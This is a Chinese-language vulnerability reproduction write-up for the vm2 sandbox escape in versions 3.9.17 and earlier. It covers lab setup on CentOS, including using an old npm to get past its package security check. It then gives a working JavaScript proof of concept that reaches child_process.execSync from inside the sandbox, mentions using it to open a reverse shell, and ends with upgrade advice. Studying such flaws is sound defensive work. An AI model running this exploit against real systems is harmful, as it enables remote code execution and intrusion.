0x01 产品简介
Node.js
Node.js 是一个基于 V8 引擎的开源、跨平台的 JavaScript 运行环境,它可以在多个操作系统上运行,包括 Windows、macOS 和 Linux 等。Node.js 提供了一个运行在服务器端的 JavaScript 环境,使得开发者可以编写并发的、高效的服务器端应用程序。Node.js 使用事件驱动、非阻塞 I/O 模型来支持并发运行。它支持通过插件扩展 API,以及通过 npm(Node.js 包管理器) 安装其他插件和模块。Node.js 还提供了一些内置模块,如 http、fs、path 等,使得开发者可以快速构建网络应用程序和文件系统。
Npm
NPM的全称是Node Package Manager,是一个NodeJS包管理和分发工具,已经成为了非官方的发布Node模块(包)的标准。NPM由三部分组成:网站,注册表(registry),命令行工具(CLI)。
简单来说, Node.js 就是运行在服务端的JavaScript,npm是随同Node.js一起安装的包管理工具,通过命令从npm服务器下载别人编写的第三方工具到本地使用。
VM
在 Node.js 中,VM(Virtual Machine) 是一个用于解释和执行 JavaScript 代码的引擎。VM 是一个沙箱 (sandbox),它允许 Node.js 在执行脚本时限制其访问系统资源的权限,以防止脚本执行恶意代码或访问不必要的系统资源。
VM2
由于vm不安全,能轻易地获取到了主程序的全局对象 process,造成沙箱逃逸,所以有了vm2。vm2基于vm,使用官方的vm库构建沙箱环境。然后使用JavaScript的Proxy技术来防止沙箱脚本逃逸。
0x02 漏洞概述
3.9.17 及以下版本的vm2中存在沙盒逃逸漏洞。它滥用基于代理规范的宿主对象的意外创建,并允许Function在宿主上下文中通过 导致RCE。
0x03 影响范围
Vm2 <= 3.9.17
0x04 复现环境
centos7安装nodejs,再安装受影响版本 Vm2@3.9.17,(经测试,触发漏洞需要高版本nodejs和低版本npm)
注:众所周知新版的NodeJS已经集成了npm的,所以要单独安装nodejs
安装低版本npm是为了规避npm内部审核机制,(如下图、高版本npm会强制检查vm2安装包的安全性)
安装流程:低版本nodejs+低版本npm——>利用低版本npm安装Vm2@3.9.17——>升级至高版本nodejs——>复现漏洞
步骤如下:
安装低版本nodejs+低版本npm
下载安装包
wget http://nodejs.org/dist/v0.10.25/node-v0.10.25.tar.gz
安装gcc
yum install gcc openssl-devel gcc-c++ compat-gcc-34 compat-gcc-34-c++
解压包
tar -xf node-v0.10.25.tar.gz
进入nodejs目录
cd node-v0.10.25
配置目录
./configure --prefix=/usr/local/node
编译安装
make && make install
添加软连接
ln -s /usr/local/node/bin/* /usr/sbin/
验证是否安装成功
node -v
npm -v
利用低版本npm安装Vm2@3.9.17
npm install vm2@3.9.17
升级至高版本nodejs
下载安装nvm
wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.33.11/install.sh | bash
配置环境变量
echo "source ~/.nvm/nvm.sh" >> ~/.bashrc
使环境变量生效
source ~/.bashrc
查看版本
nvm list-remote
安装指定版本
nvm install v16.18.1
切换指定版本
nvm use v16.18.1
查看node版本
node --version
最终复现环境:
0x05 漏洞复现
PoC
const { VM } = require("vm2");
const vm = new VM();const code = `const err = new Error();err.name = {toString: new Proxy(() => "", {apply(target, thiz, args) {const process = args.constructor.constructor("return process")();throw process.mainModule.require("child_process").execSync("执行的命令").toString();},}),};try {err.stack;} catch (stdout) {stdout;}
`;console.log(vm.run(code));
创建js文件写入poc,并运行
反弹shell
执行命令处写入反弹shell指令 ,攻击机提前开启监听
执行js文件,反弹成功
0x06 修复建议
官方已发布新版本,受影响的用户尽快升级至安全版本
https://github.com/patriksimek/vm2/releases/tag/3.9.18